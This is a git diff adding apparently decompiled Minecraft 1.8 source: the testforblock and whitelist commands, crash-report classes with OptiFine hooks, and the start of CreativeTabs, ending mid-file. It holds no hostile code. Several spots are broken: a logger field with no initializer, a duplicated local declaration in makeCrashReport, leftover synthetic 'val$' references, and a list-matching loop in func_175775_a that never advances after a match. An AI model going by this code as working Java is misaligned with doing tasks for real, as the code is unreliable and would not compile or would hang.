diff --git a/src/minecraft/net/minecraft/command/server/CommandTestForBlock.java b/src/minecraft/net/minecraft/command/server/CommandTestForBlock.java
new file mode 100644
index 0000000..d0ae966
--- /dev/null
+++ b/src/minecraft/net/minecraft/command/server/CommandTestForBlock.java
@@ -0,0 +1,235 @@
+package net.minecraft.command.server;
+
+import java.util.Iterator;
+import net.minecraft.block.Block;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.command.CommandException;
+import net.minecraft.command.CommandResultStats.Type;
+import net.minecraft.command.ICommandSender;
+import net.minecraft.nbt.JsonToNBT;
+import net.minecraft.nbt.NBTBase;
+import net.minecraft.nbt.NBTException;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.nbt.NBTTagList;
+import net.minecraft.tileentity.TileEntity;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.IChatComponent;
+import net.minecraft.util.RegistryNamespacedDefaultedByKey;
+import net.minecraft.world.World;
+
+public class CommandTestForBlock extends net.minecraft.command.CommandBase
+{
+  private static final String __OBFID = "CL_00001181";
+  
+  public CommandTestForBlock() {}
+  
+  public String getCommandName()
+  {
+    return "testforblock";
+  }
+  
+
+
+
+  public int getRequiredPermissionLevel()
+  {
+    return 2;
+  }
+  
+  public String getCommandUsage(ICommandSender sender)
+  {
+    return "commands.testforblock.usage";
+  }
+  
+  public void processCommand(ICommandSender sender, String[] args) throws CommandException
+  {
+    if (args.length < 4)
+    {
+      throw new net.minecraft.command.WrongUsageException("commands.testforblock.usage", new Object[0]);
+    }
+    
+
+    sender.func_174794_a(CommandResultStats.Type.AFFECTED_BLOCKS, 0);
+    BlockPos var3 = func_175757_a(sender, args, 0, false);
+    Block var4 = Block.getBlockFromName(args[3]);
+    
+    if (var4 == null)
+    {
+      throw new net.minecraft.command.NumberInvalidException("commands.setblock.notFound", new Object[] { args[3] });
+    }
+    
+
+    int var5 = -1;
+    
+    if (args.length >= 5)
+    {
+      var5 = parseInt(args[4], -1, 15);
+    }
+    
+    World var6 = sender.getEntityWorld();
+    
+    if (!var6.isBlockLoaded(var3))
+    {
+      throw new CommandException("commands.testforblock.outOfWorld", new Object[0]);
+    }
+    
+
+    NBTTagCompound var7 = new NBTTagCompound();
+    boolean var8 = false;
+    
+    if ((args.length >= 6) && (var4.hasTileEntity()))
+    {
+      String var9 = getChatComponentFromNthArg(sender, args, 5).getUnformattedText();
+      
+      try
+      {
+        var7 = JsonToNBT.func_180713_a(var9);
+        var8 = true;
+      }
+      catch (NBTException var13)
+      {
+        throw new CommandException("commands.setblock.tagError", new Object[] { var13.getMessage() });
+      }
+    }
+    
+    IBlockState var14 = var6.getBlockState(var3);
+    Block var10 = var14.getBlock();
+    
+    if (var10 != var4)
+    {
+      throw new CommandException("commands.testforblock.failed.tile", new Object[] { Integer.valueOf(var3.getX()), Integer.valueOf(var3.getY()), Integer.valueOf(var3.getZ()), var10.getLocalizedName(), var4.getLocalizedName() });
+    }
+    
+
+    if (var5 > -1)
+    {
+      int var11 = var14.getBlock().getMetaFromState(var14);
+      
+      if (var11 != var5)
+      {
+        throw new CommandException("commands.testforblock.failed.data", new Object[] { Integer.valueOf(var3.getX()), Integer.valueOf(var3.getY()), Integer.valueOf(var3.getZ()), Integer.valueOf(var11), Integer.valueOf(var5) });
+      }
+    }
+    
+    if (var8)
+    {
+      TileEntity var15 = var6.getTileEntity(var3);
+      
+      if (var15 == null)
+      {
+        throw new CommandException("commands.testforblock.failed.tileEntity", new Object[] { Integer.valueOf(var3.getX()), Integer.valueOf(var3.getY()), Integer.valueOf(var3.getZ()) });
+      }
+      
+      NBTTagCompound var12 = new NBTTagCompound();
+      var15.writeToNBT(var12);
+      
+      if (!func_175775_a(var7, var12, true))
+      {
+        throw new CommandException("commands.testforblock.failed.nbt", new Object[] { Integer.valueOf(var3.getX()), Integer.valueOf(var3.getY()), Integer.valueOf(var3.getZ()) });
+      }
+    }
+    
+    sender.func_174794_a(CommandResultStats.Type.AFFECTED_BLOCKS, 1);
+    notifyOperators(sender, this, "commands.testforblock.success", new Object[] { Integer.valueOf(var3.getX()), Integer.valueOf(var3.getY()), Integer.valueOf(var3.getZ()) });
+  }
+  
+
+
+
+
+  public static boolean func_175775_a(NBTBase p_175775_0_, NBTBase p_175775_1_, boolean p_175775_2_)
+  {
+    if (p_175775_0_ == p_175775_1_)
+    {
+      return true;
+    }
+    if (p_175775_0_ == null)
+    {
+      return true;
+    }
+    if (p_175775_1_ == null)
+    {
+      return false;
+    }
+    if (!p_175775_0_.getClass().equals(p_175775_1_.getClass()))
+    {
+      return false;
+    }
+    if ((p_175775_0_ instanceof NBTTagCompound))
+    {
+      NBTTagCompound var9 = (NBTTagCompound)p_175775_0_;
+      NBTTagCompound var10 = (NBTTagCompound)p_175775_1_;
+      Iterator var11 = var9.getKeySet().iterator();
+      
+      String var12;
+      NBTBase var13;
+      do
+      {
+        if (!var11.hasNext())
+        {
+          return true;
+        }
+        
+        var12 = (String)var11.next();
+        var13 = var9.getTag(var12);
+      }
+      while (func_175775_a(var13, var10.getTag(var12), p_175775_2_));
+      
+      return false;
+    }
+    if (((p_175775_0_ instanceof NBTTagList)) && (p_175775_2_))
+    {
+      NBTTagList var3 = (NBTTagList)p_175775_0_;
+      NBTTagList var4 = (NBTTagList)p_175775_1_;
+      
+      if (var3.tagCount() == 0)
+      {
+        return var4.tagCount() == 0;
+      }
+      
+
+      int var5 = 0;
+      
+      while (var5 < var3.tagCount())
+      {
+        NBTBase var6 = var3.get(var5);
+        boolean var7 = false;
+        int var8 = 0;
+        
+
+
+        while (var8 < var4.tagCount())
+        {
+          if (!func_175775_a(var6, var4.get(var8), p_175775_2_))
+          {
+            var8++;
+          }
+          else
+          {
+            var7 = true;
+          }
+        }
+        if (!var7)
+        {
+          return false;
+        }
+        
+        var5++;
+      }
+      
+
+
+      return true;
+    }
+    
+
+
+    return p_175775_0_.equals(p_175775_1_);
+  }
+  
+
+  public java.util.List addTabCompletionOptions(ICommandSender sender, String[] args, BlockPos pos)
+  {
+    return args.length == 4 ? func_175762_a(args, Block.blockRegistry.getKeys()) : (args.length > 0) && (args.length <= 3) ? func_175771_a(args, 0, pos) : null;
+  }
+}
diff --git a/src/minecraft/net/minecraft/command/server/CommandWhitelist.java b/src/minecraft/net/minecraft/command/server/CommandWhitelist.java
new file mode 100644
index 0000000..da17af0
--- /dev/null
+++ b/src/minecraft/net/minecraft/command/server/CommandWhitelist.java
@@ -0,0 +1,132 @@
+package net.minecraft.command.server;
+
+import com.mojang.authlib.GameProfile;
+import net.minecraft.command.CommandException;
+import net.minecraft.command.ICommandSender;
+import net.minecraft.command.WrongUsageException;
+import net.minecraft.server.MinecraftServer;
+import net.minecraft.server.management.PlayerProfileCache;
+import net.minecraft.server.management.ServerConfigurationManager;
+import net.minecraft.util.BlockPos;
+
+public class CommandWhitelist extends net.minecraft.command.CommandBase
+{
+  private static final String __OBFID = "CL_00001186";
+  
+  public CommandWhitelist() {}
+  
+  public String getCommandName()
+  {
+    return "whitelist";
+  }
+  
+
+
+
+  public int getRequiredPermissionLevel()
+  {
+    return 3;
+  }
+  
+  public String getCommandUsage(ICommandSender sender)
+  {
+    return "commands.whitelist.usage";
+  }
+  
+  public void processCommand(ICommandSender sender, String[] args) throws CommandException
+  {
+    if (args.length < 1)
+    {
+      throw new WrongUsageException("commands.whitelist.usage", new Object[0]);
+    }
+    
+
+    MinecraftServer var3 = MinecraftServer.getServer();
+    
+    if (args[0].equals("on"))
+    {
+      var3.getConfigurationManager().setWhiteListEnabled(true);
+      notifyOperators(sender, this, "commands.whitelist.enabled", new Object[0]);
+    }
+    else if (args[0].equals("off"))
+    {
+      var3.getConfigurationManager().setWhiteListEnabled(false);
+      notifyOperators(sender, this, "commands.whitelist.disabled", new Object[0]);
+    }
+    else if (args[0].equals("list"))
+    {
+      sender.addChatMessage(new net.minecraft.util.ChatComponentTranslation("commands.whitelist.list", new Object[] { Integer.valueOf(var3.getConfigurationManager().getWhitelistedPlayerNames().length), Integer.valueOf(var3.getConfigurationManager().getAvailablePlayerDat().length) }));
+      String[] var4 = var3.getConfigurationManager().getWhitelistedPlayerNames();
+      sender.addChatMessage(new net.minecraft.util.ChatComponentText(joinNiceString(var4)));
+
+
+
+
+    }
+    else if (args[0].equals("add"))
+    {
+      if (args.length < 2)
+      {
+        throw new WrongUsageException("commands.whitelist.add.usage", new Object[0]);
+      }
+      
+      GameProfile var5 = var3.getPlayerProfileCache().getGameProfileForUsername(args[1]);
+      
+      if (var5 == null)
+      {
+        throw new CommandException("commands.whitelist.add.failed", new Object[] { args[1] });
+      }
+      
+      var3.getConfigurationManager().addWhitelistedPlayer(var5);
+      notifyOperators(sender, this, "commands.whitelist.add.success", new Object[] { args[1] });
+    }
+    else if (args[0].equals("remove"))
+    {
+      if (args.length < 2)
+      {
+        throw new WrongUsageException("commands.whitelist.remove.usage", new Object[0]);
+      }
+      
+      GameProfile var5 = var3.getConfigurationManager().getWhitelistedPlayers().func_152706_a(args[1]);
+      
+      if (var5 == null)
+      {
+        throw new CommandException("commands.whitelist.remove.failed", new Object[] { args[1] });
+      }
+      
+      var3.getConfigurationManager().removePlayerFromWhitelist(var5);
+      notifyOperators(sender, this, "commands.whitelist.remove.success", new Object[] { args[1] });
+    }
+    else if (args[0].equals("reload"))
+    {
+      var3.getConfigurationManager().loadWhiteList();
+      notifyOperators(sender, this, "commands.whitelist.reloaded", new Object[0]);
+    }
+  }
+  
+
+
+  public java.util.List addTabCompletionOptions(ICommandSender sender, String[] args, BlockPos pos)
+  {
+    if (args.length == 1)
+    {
+      return getListOfStringsMatchingLastWord(args, new String[] { "on", "off", "list", "add", "remove", "reload" });
+    }
+    
+
+    if (args.length == 2)
+    {
+      if (args[0].equals("remove"))
+      {
+        return getListOfStringsMatchingLastWord(args, MinecraftServer.getServer().getConfigurationManager().getWhitelistedPlayerNames());
+      }
+      
+      if (args[0].equals("add"))
+      {
+        return getListOfStringsMatchingLastWord(args, MinecraftServer.getServer().getPlayerProfileCache().func_152654_a());
+      }
+    }
+    
+    return null;
+  }
+}
diff --git a/src/minecraft/net/minecraft/crash/CrashReport.java b/src/minecraft/net/minecraft/crash/CrashReport.java
new file mode 100644
index 0000000..a317675
--- /dev/null
+++ b/src/minecraft/net/minecraft/crash/CrashReport.java
@@ -0,0 +1,431 @@
+package net.minecraft.crash;
+
+import com.google.common.collect.Lists;
+import java.io.File;
+import java.io.FileWriter;
+import java.io.PrintStream;
+import java.io.PrintWriter;
+import java.io.StringWriter;
+import java.lang.management.ManagementFactory;
+import java.lang.management.RuntimeMXBean;
+import java.text.SimpleDateFormat;
+import java.util.Date;
+import java.util.Iterator;
+import java.util.List;
+import java.util.concurrent.Callable;
+import net.minecraft.util.ReportedException;
+import net.minecraft.world.gen.layer.IntCache;
+import optifine.CrashReporter;
+import optifine.Reflector;
+import optifine.ReflectorMethod;
+import org.apache.commons.io.IOUtils;
+import org.apache.commons.lang3.ArrayUtils;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+
+public class CrashReport
+{
+  private static final Logger logger = ;
+  
+
+  private final String description;
+  
+
+  private final Throwable cause;
+  
+
+  private final CrashReportCategory theReportCategory = new CrashReportCategory(this, "System Details");
+  
+
+  private final List crashReportSections = Lists.newArrayList();
+  
+  private File crashReportFile;
+  
+  private boolean field_85059_f = true;
+  private StackTraceElement[] stacktrace = new StackTraceElement[0];
+  private static final String __OBFID = "CL_00000990";
+  private boolean reported = false;
+  
+  public CrashReport(String descriptionIn, Throwable causeThrowable)
+  {
+    description = descriptionIn;
+    cause = causeThrowable;
+    populateEnvironment();
+  }
+  
+
+
+
+
+  private void populateEnvironment()
+  {
+    theReportCategory.addCrashSectionCallable("Minecraft Version", new Callable()
+    {
+      private static final String __OBFID = "CL_00001197";
+      
+      public String call() {
+        return "1.8";
+      }
+    });
+    theReportCategory.addCrashSectionCallable("Operating System", new Callable()
+    {
+      private static final String __OBFID = "CL_00001222";
+      
+      public String call() {
+        return System.getProperty("os.name") + " (" + System.getProperty("os.arch") + ") version " + System.getProperty("os.version");
+      }
+    });
+    theReportCategory.addCrashSectionCallable("Java Version", new Callable()
+    {
+      private static final String __OBFID = "CL_00001248";
+      
+      public String call() {
+        return System.getProperty("java.version") + ", " + System.getProperty("java.vendor");
+      }
+    });
+    theReportCategory.addCrashSectionCallable("Java VM Version", new Callable()
+    {
+      private static final String __OBFID = "CL_00001275";
+      
+      public String call() {
+        return System.getProperty("java.vm.name") + " (" + System.getProperty("java.vm.info") + "), " + System.getProperty("java.vm.vendor");
+      }
+    });
+    theReportCategory.addCrashSectionCallable("Memory", new Callable()
+    {
+      private static final String __OBFID = "CL_00001302";
+      
+      public String call() {
+        Runtime var1 = Runtime.getRuntime();
+        long var2 = var1.maxMemory();
+        long var4 = var1.totalMemory();
+        long var6 = var1.freeMemory();
+        long var8 = var2 / 1024L / 1024L;
+        long var10 = var4 / 1024L / 1024L;
+        long var12 = var6 / 1024L / 1024L;
+        return var6 + " bytes (" + var12 + " MB) / " + var4 + " bytes (" + var10 + " MB) up to " + var2 + " bytes (" + var8 + " MB)";
+      }
+    });
+    theReportCategory.addCrashSectionCallable("JVM Flags", new Callable()
+    {
+      private static final String __OBFID = "CL_00001329";
+      
+      public String call() {
+        RuntimeMXBean var1 = ManagementFactory.getRuntimeMXBean();
+        List var2 = var1.getInputArguments();
+        int var3 = 0;
+        StringBuilder var4 = new StringBuilder();
+        Iterator var5 = var2.iterator();
+        
+        while (var5.hasNext())
+        {
+          String var6 = (String)var5.next();
+          
+          if (var6.startsWith("-X"))
+          {
+            if (var3++ > 0)
+            {
+              var4.append(" ");
+            }
+            
+            var4.append(var6);
+          }
+        }
+        
+        return String.format("%d total; %s", new Object[] { Integer.valueOf(var3), var4.toString() });
+      }
+    });
+    theReportCategory.addCrashSectionCallable("IntCache", new Callable()
+    {
+      private static final String __OBFID = "CL_00001355";
+      
+      public String call() {
+        return IntCache.getCacheSizes();
+      }
+    });
+    
+    if (Reflector.FMLCommonHandler_enhanceCrashReport.exists())
+    {
+      Object instance = Reflector.call(Reflector.FMLCommonHandler_instance, new Object[0]);
+      Reflector.callString(instance, Reflector.FMLCommonHandler_enhanceCrashReport, new Object[] { this, theReportCategory });
+    }
+  }
+  
+
+
+
+  public String getDescription()
+  {
+    return description;
+  }
+  
+
+
+
+  public Throwable getCrashCause()
+  {
+    return cause;
+  }
+  
+
+
+
+  public void getSectionsInStringBuilder(StringBuilder builder)
+  {
+    if (((stacktrace == null) || (stacktrace.length <= 0)) && (crashReportSections.size() > 0))
+    {
+      stacktrace = ((StackTraceElement[])ArrayUtils.subarray(((CrashReportCategory)crashReportSections.get(0)).getStackTrace(), 0, 1));
+    }
+    
+    if ((stacktrace != null) && (stacktrace.length > 0))
+    {
+      builder.append("-- Head --\n");
+      builder.append("Stacktrace:\n");
+      StackTraceElement[] var6 = stacktrace;
+      int var7 = var6.length;
+      
+      for (int var4 = 0; var4 < var7; var4++)
+      {
+        StackTraceElement var5 = var6[var4];
+        builder.append("\t").append("at ").append(var5.toString());
+        builder.append("\n");
+      }
+      
+      builder.append("\n");
+    }
+    
+    Iterator var61 = crashReportSections.iterator();
+    
+    while (var61.hasNext())
+    {
+      CrashReportCategory var71 = (CrashReportCategory)var61.next();
+      var71.appendToStringBuilder(builder);
+      builder.append("\n\n");
+    }
+    
+    theReportCategory.appendToStringBuilder(builder);
+  }
+  
+
+
+
+  public String getCauseStackTraceOrString()
+  {
+    StringWriter var1 = null;
+    PrintWriter var2 = null;
+    Object var3 = cause;
+    
+    if (((Throwable)var3).getMessage() == null)
+    {
+      if ((var3 instanceof NullPointerException))
+      {
+        var3 = new NullPointerException(description);
+      }
+      else if ((var3 instanceof StackOverflowError))
+      {
+        var3 = new StackOverflowError(description);
+      }
+      else if ((var3 instanceof OutOfMemoryError))
+      {
+        var3 = new OutOfMemoryError(description);
+      }
+      
+      ((Throwable)var3).setStackTrace(cause.getStackTrace());
+    }
+    
+    String var4 = ((Throwable)var3).toString();
+    
+    try
+    {
+      var1 = new StringWriter();
+      var2 = new PrintWriter(var1);
+      ((Throwable)var3).printStackTrace(var2);
+      var4 = var1.toString();
+    }
+    finally
+    {
+      IOUtils.closeQuietly(var1);
+      IOUtils.closeQuietly(var2);
+    }
+    
+    return var4;
+  }
+  
+
+
+
+  public String getCompleteReport()
+  {
+    if (!reported)
+    {
+      reported = true;
+      CrashReporter.onCrashReport(this, theReportCategory);
+    }
+    
+    StringBuilder var1 = new StringBuilder();
+    var1.append("---- Minecraft Crash Report ----\n");
+    Reflector.call(Reflector.BlamingTransformer_onCrash, new Object[] { var1 });
+    Reflector.call(Reflector.CoreModManager_onCrash, new Object[] { var1 });
+    var1.append("// ");
+    var1.append(getWittyComment());
+    var1.append("\n\n");
+    var1.append("Time: ");
+    var1.append(new SimpleDateFormat().format(new Date()));
+    var1.append("\n");
+    var1.append("Description: ");
+    var1.append(description);
+    var1.append("\n\n");
+    var1.append(getCauseStackTraceOrString());
+    var1.append("\n\nA detailed walkthrough of the error, its code path and all known details is as follows:\n");
+    
+    for (int var2 = 0; var2 < 87; var2++)
+    {
+      var1.append("-");
+    }
+    
+    var1.append("\n\n");
+    getSectionsInStringBuilder(var1);
+    return var1.toString();
+  }
+  
+
+
+
+  public File getFile()
+  {
+    return crashReportFile;
+  }
+  
+
+
+
+  public boolean saveToFile(File toFile)
+  {
+    if (crashReportFile != null)
+    {
+      return false;
+    }
+    
+
+    if (toFile.getParentFile() != null)
+    {
+      toFile.getParentFile().mkdirs();
+    }
+    
+    try
+    {
+      FileWriter var3 = new FileWriter(toFile);
+      var3.write(getCompleteReport());
+      var3.close();
+      crashReportFile = toFile;
+      return true;
+    }
+    catch (Throwable var31)
+    {
+      logger.error("Could not save crash report to " + toFile, var31); }
+    return false;
+  }
+  
+
+
+  public CrashReportCategory getCategory()
+  {
+    return theReportCategory;
+  }
+  
+
+
+
+  public CrashReportCategory makeCategory(String name)
+  {
+    return makeCategoryDepth(name, 1);
+  }
+  
+
+
+
+  public CrashReportCategory makeCategoryDepth(String categoryName, int stacktraceLength)
+  {
+    CrashReportCategory var3 = new CrashReportCategory(this, categoryName);
+    
+    if (field_85059_f)
+    {
+      int var4 = var3.getPrunedStackTrace(stacktraceLength);
+      StackTraceElement[] var5 = cause.getStackTrace();
+      StackTraceElement var6 = null;
+      StackTraceElement var7 = null;
+      int var8 = var5.length - var4;
+      
+      if (var8 < 0)
+      {
+        System.out.println("Negative index in crash report handler (" + var5.length + "/" + var4 + ")");
+      }
+      
+      if ((var5 != null) && (var8 >= 0) && (var8 < var5.length))
+      {
+        var6 = var5[var8];
+        
+        if (var5.length + 1 - var4 < var5.length)
+        {
+          var7 = var5[(var5.length + 1 - var4)];
+        }
+      }
+      
+      field_85059_f = var3.firstTwoElementsOfStackTraceMatch(var6, var7);
+      
+      if ((var4 > 0) && (!crashReportSections.isEmpty()))
+      {
+        CrashReportCategory var9 = (CrashReportCategory)crashReportSections.get(crashReportSections.size() - 1);
+        var9.trimStackTraceEntriesFromBottom(var4);
+      }
+      else if ((var5 != null) && (var5.length >= var4) && (var8 >= 0) && (var8 < var5.length))
+      {
+        stacktrace = new StackTraceElement[var8];
+        System.arraycopy(var5, 0, stacktrace, 0, stacktrace.length);
+      }
+      else
+      {
+        field_85059_f = false;
+      }
+    }
+    
+    crashReportSections.add(var3);
+    return var3;
+  }
+  
+
+
+
+  private static String getWittyComment()
+  {
+    String[] var0 = { "Who set us up the TNT?", "Everything's going to plan. No, really, that was supposed to happen.", "Uh... Did I do that?", "Oops.", "Why did you do that?", "I feel sad now :(", "My bad.", "I'm sorry, Dave.", "I let you down. Sorry :(", "On the bright side, I bought you a teddy bear!", "Daisy, daisy...", "Oh - I know what I did wrong!", "Hey, that tickles! Hehehe!", "I blame Dinnerbone.", "You should try our sister game, Minceraft!", "Don't be sad. I'll do better next time, I promise!", "Don't be sad, have a hug! <3", "I just don't know what went wrong :(", "Shall we play a game?", "Quite honestly, I wouldn't worry myself about that.", "I bet Cylons wouldn't have this problem.", "Sorry :(", "Surprise! Haha. Well, this is awkward.", "Would you like a cupcake?", "Hi. I'm Minecraft, and I'm a crashaholic.", "Ooh. Shiny.", "This doesn't make any sense!", "Why is it breaking :(", "Don't do that.", "Ouch. That hurt :(", "You're mean.", "This is a token for 1 free hug. Redeem at your nearest Mojangsta: [~~HUG~~]", "There are four lights!", "But it works on my machine." };
+    
+    try
+    {
+      return var0[((int)(System.nanoTime() % var0.length))];
+    }
+    catch (Throwable var2) {}
+    
+    return "Witty comment unavailable :(";
+  }
+  
+
+
+  public static CrashReport makeCrashReport(Throwable causeIn, String descriptionIn)
+  {
+    CrashReport var2;
+    
+    CrashReport var2;
+    
+    if ((causeIn instanceof ReportedException))
+    {
+      var2 = ((ReportedException)causeIn).getCrashReport();
+    }
+    else
+    {
+      var2 = new CrashReport(descriptionIn, causeIn);
+    }
+    
+    return var2;
+  }
+}
diff --git a/src/minecraft/net/minecraft/crash/CrashReportCategory.java b/src/minecraft/net/minecraft/crash/CrashReportCategory.java
new file mode 100644
index 0000000..0fa811a
--- /dev/null
+++ b/src/minecraft/net/minecraft/crash/CrashReportCategory.java
@@ -0,0 +1,338 @@
+package net.minecraft.crash;
+
+import com.google.common.collect.Lists;
+import java.util.Iterator;
+import java.util.List;
+import java.util.concurrent.Callable;
+import net.minecraft.block.Block;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.util.BlockPos;
+
+public class CrashReportCategory
+{
+  private final CrashReport theCrashReport;
+  private final String name;
+  private final List children = Lists.newArrayList();
+  private StackTraceElement[] stackTrace = new StackTraceElement[0];
+  private static final String __OBFID = "CL_00001409";
+  
+  public CrashReportCategory(CrashReport p_i1353_1_, String name)
+  {
+    theCrashReport = p_i1353_1_;
+    this.name = name;
+  }
+  
+  public static String getCoordinateInfo(double x, double y, double z)
+  {
+    return String.format("%.2f,%.2f,%.2f - %s", new Object[] { Double.valueOf(x), Double.valueOf(y), Double.valueOf(z), getCoordinateInfo(new BlockPos(x, y, z)) });
+  }
+  
+  public static String getCoordinateInfo(BlockPos pos)
+  {
+    int var1 = pos.getX();
+    int var2 = pos.getY();
+    int var3 = pos.getZ();
+    StringBuilder var4 = new StringBuilder();
+    
+    try
+    {
+      var4.append(String.format("World: (%d,%d,%d)", new Object[] { Integer.valueOf(var1), Integer.valueOf(var2), Integer.valueOf(var3) }));
+    }
+    catch (Throwable var17)
+    {
+      var4.append("(Error finding world loc)");
+    }
+    
+    var4.append(", ");
+    
+
+
+
+
+
+
+
+
+
+    try
+    {
+      int var5 = var1 >> 4;
+      int var6 = var3 >> 4;
+      int var7 = var1 & 0xF;
+      int var8 = var2 >> 4;
+      int var9 = var3 & 0xF;
+      int var10 = var5 << 4;
+      int var11 = var6 << 4;
+      int var12 = (var5 + 1 << 4) - 1;
+      int var13 = (var6 + 1 << 4) - 1;
+      var4.append(String.format("Chunk: (at %d,%d,%d in %d,%d; contains blocks %d,0,%d to %d,255,%d)", new Object[] { Integer.valueOf(var7), Integer.valueOf(var8), Integer.valueOf(var9), Integer.valueOf(var5), Integer.valueOf(var6), Integer.valueOf(var10), Integer.valueOf(var11), Integer.valueOf(var12), Integer.valueOf(var13) }));
+    }
+    catch (Throwable var16)
+    {
+      var4.append("(Error finding chunk loc)");
+    }
+    
+    var4.append(", ");
+    
+    try
+    {
+      int var5 = var1 >> 9;
+      int var6 = var3 >> 9;
+      int var7 = var5 << 5;
+      int var8 = var6 << 5;
+      int var9 = (var5 + 1 << 5) - 1;
+      int var10 = (var6 + 1 << 5) - 1;
+      int var11 = var5 << 9;
+      int var12 = var6 << 9;
+      int var13 = (var5 + 1 << 9) - 1;
+      int var14 = (var6 + 1 << 9) - 1;
+      var4.append(String.format("Region: (%d,%d; contains chunks %d,%d to %d,%d, blocks %d,0,%d to %d,255,%d)", new Object[] { Integer.valueOf(var5), Integer.valueOf(var6), Integer.valueOf(var7), Integer.valueOf(var8), Integer.valueOf(var9), Integer.valueOf(var10), Integer.valueOf(var11), Integer.valueOf(var12), Integer.valueOf(var13), Integer.valueOf(var14) }));
+    }
+    catch (Throwable var15)
+    {
+      var4.append("(Error finding world loc)");
+    }
+    
+    return var4.toString();
+  }
+  
+
+
+
+  public void addCrashSectionCallable(String sectionName, Callable callable)
+  {
+    try
+    {
+      addCrashSection(sectionName, callable.call());
+    }
+    catch (Throwable var4)
+    {
+      addCrashSectionThrowable(sectionName, var4);
+    }
+  }
+  
+
+
+
+  public void addCrashSection(String sectionName, Object value)
+  {
+    children.add(new Entry(sectionName, value));
+  }
+  
+
+
+
+  public void addCrashSectionThrowable(String sectionName, Throwable throwable)
+  {
+    addCrashSection(sectionName, throwable);
+  }
+  
+
+
+
+
+  public int getPrunedStackTrace(int size)
+  {
+    StackTraceElement[] var2 = Thread.currentThread().getStackTrace();
+    
+    if (var2.length <= 0)
+    {
+      return 0;
+    }
+    
+
+    stackTrace = new StackTraceElement[var2.length - 3 - size];
+    System.arraycopy(var2, 3 + size, stackTrace, 0, stackTrace.length);
+    return stackTrace.length;
+  }
+  
+
+
+
+
+  public boolean firstTwoElementsOfStackTraceMatch(StackTraceElement s1, StackTraceElement s2)
+  {
+    if ((stackTrace.length != 0) && (s1 != null))
+    {
+      StackTraceElement var3 = stackTrace[0];
+      
+      if ((var3.isNativeMethod() == s1.isNativeMethod()) && (var3.getClassName().equals(s1.getClassName())) && (var3.getFileName().equals(s1.getFileName())) && (var3.getMethodName().equals(s1.getMethodName())))
+      {
+        if ((s2 != null ? 1 : 0) != (stackTrace.length > 1 ? 1 : 0))
+        {
+          return false;
+        }
+        if ((s2 != null) && (!stackTrace[1].equals(s2)))
+        {
+          return false;
+        }
+        
+
+        stackTrace[0] = s1;
+        return true;
+      }
+      
+
+
+      return false;
+    }
+    
+
+
+    return false;
+  }
+  
+
+
+
+
+  public void trimStackTraceEntriesFromBottom(int amount)
+  {
+    StackTraceElement[] var2 = new StackTraceElement[stackTrace.length - amount];
+    System.arraycopy(stackTrace, 0, var2, 0, var2.length);
+    stackTrace = var2;
+  }
+  
+  public void appendToStringBuilder(StringBuilder builder)
+  {
+    builder.append("-- ").append(name).append(" --\n");
+    builder.append("Details:");
+    Iterator var2 = children.iterator();
+    
+    while (var2.hasNext())
+    {
+      Entry var3 = (Entry)var2.next();
+      builder.append("\n\t");
+      builder.append(var3.getKey());
+      builder.append(": ");
+      builder.append(var3.getValue());
+    }
+    
+    if ((stackTrace != null) && (stackTrace.length > 0))
+    {
+      builder.append("\nStacktrace:");
+      StackTraceElement[] var6 = stackTrace;
+      int var7 = var6.length;
+      
+      for (int var4 = 0; var4 < var7; var4++)
+      {
+        StackTraceElement var5 = var6[var4];
+        builder.append("\n\tat ");
+        builder.append(var5.toString());
+      }
+    }
+  }
+  
+  public StackTraceElement[] getStackTrace()
+  {
+    return stackTrace;
+  }
+  
+  public static void addBlockInfo(CrashReportCategory category, BlockPos pos, final Block blockIn, int blockData)
+  {
+    int var4 = Block.getIdFromBlock(blockIn);
+    category.addCrashSectionCallable("Block type", new Callable()
+    {
+      private static final String __OBFID = "CL_00001426";
+      
+      public String call()
+      {
+        try {
+          return String.format("ID #%d (%s // %s)", new Object[] { Integer.valueOf(val$var4), blockIn.getUnlocalizedName(), blockIn.getClass().getCanonicalName() });
+        }
+        catch (Throwable var2) {}
+        
+        return "ID #" + val$var4;
+      }
+      
+    });
+    category.addCrashSectionCallable("Block data value", new Callable()
+    {
+      private static final String __OBFID = "CL_00001441";
+      
+      public String call() {
+        if (val$blockData < 0)
+        {
+          return "Unknown? (Got " + val$blockData + ")";
+        }
+        
+
+        String var1 = String.format("%4s", new Object[] { Integer.toBinaryString(val$blockData) }).replace(" ", "0");
+        return String.format("%1$d / 0x%1$X / 0b%2$s", new Object[] { Integer.valueOf(val$blockData), var1 });
+      }
+      
+    });
+    category.addCrashSectionCallable("Block location", new Callable()
+    {
+      private static final String __OBFID = "CL_00001465";
+      
+      public String call() {
+        return CrashReportCategory.getCoordinateInfo(CrashReportCategory.this);
+      }
+    });
+  }
+  
+  public static void addBlockInfo(CrashReportCategory category, BlockPos pos, IBlockState state)
+  {
+    category.addCrashSectionCallable("Block", new Callable()
+    {
+      private static final String __OBFID = "CL_00002617";
+      
+      public String func_175753_a() {
+        return toString();
+      }
+      
+      public Object call() {
+        return func_175753_a();
+      }
+    });
+    category.addCrashSectionCallable("Block location", new Callable()
+    {
+      private static final String __OBFID = "CL_00002616";
+      
+      public String func_175751_a() {
+        return CrashReportCategory.getCoordinateInfo(CrashReportCategory.this);
+      }
+      
+      public Object call() {
+        return func_175751_a();
+      }
+    });
+  }
+  
+  static class Entry
+  {
+    private final String key;
+    private final String value;
+    private static final String __OBFID = "CL_00001489";
+    
+    public Entry(String key, Object value)
+    {
+      this.key = key;
+      
+      if (value == null)
+      {
+        this.value = "~~NULL~~";
+      }
+      else if ((value instanceof Throwable))
+      {
+        Throwable var3 = (Throwable)value;
+        this.value = ("~~ERROR~~ " + var3.getClass().getSimpleName() + ": " + var3.getMessage());
+      }
+      else
+      {
+        this.value = value.toString();
+      }
+    }
+    
+    public String getKey()
+    {
+      return key;
+    }
+    
+    public String getValue()
+    {
+      return value;
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/creativetab/CreativeTabs.java b/src/minecraft/net/minecraft/creativetab/CreativeTabs.java
new file mode 100644
index 0000000..c8e2169
--- /dev/null
+++ b/src/minecraft/net/minecraft/creativetab/CreativeTabs.java
@@ -0,0 +1,317 @@
+package net.minecraft.creativetab;
+
+import java.util.Iterator;
+import java.util.List;
